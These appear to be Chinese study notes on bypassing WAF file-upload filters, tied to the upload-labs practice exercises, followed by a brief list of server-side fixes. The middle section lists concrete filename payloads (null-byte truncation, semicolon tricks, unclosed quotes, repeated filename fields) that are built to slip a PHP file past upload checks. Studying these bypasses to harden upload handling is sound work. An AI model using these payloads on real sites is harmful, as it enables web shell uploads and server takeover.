文件上传之waf绕过和安全维护
上传参数名解析
明确那些东西能修改?
Contont-Disposition:一般可更改
name:表单参数值,不能更改
Filename:文件名,上传的文件,可以更改
Content-Type:文件MIME,视情况更改,判断滤机制里面是不是通过这个这个属性值来过滤的
见upload-labs-master pass2
常见绕过方法
数据溢出-防匹配(xxx…)
也就是垃圾数据使得WAF无法匹配
符号变异-防匹配(’ " ; )
匹配’'以及""里面的内容,没匹配到,所以绕过
x.php;.jpg
数据截断-防匹配(%00 ;/换行)
重复数据-防匹配(参数多次)
fuzz
利用luzz字典绕过pass-3
payload
name="upload_file";垃圾数据 file_name="x.php"
file_name="dudu.php----由于没有"结尾,所以没找见结尾,可以上传,但是"放在前面就失效,X"x".php
"x.php;.php" ""里面的都是上传的文件名,;表示已经截断了
filename=x.php
filename="x.php
filename='x.php
filename="a.jpg;.php";
filename="a.php%00.jpg"
filename="connect-disposition:from-data;
name="upload_file";x.php"
filename="x.jpg";filename="x.jpg";.....filename="x.php";
安全修复
后端进行验证,
后端验证:基于黑名单,白名单过滤
MIME基于上传自带类型检测
内容检测:文件头,完整性检测
后缀验证,参考upload-labs关卡黑名单的各种方式
getimage函数只能接受图片,只处理图片信息
安全狗,宝塔,云端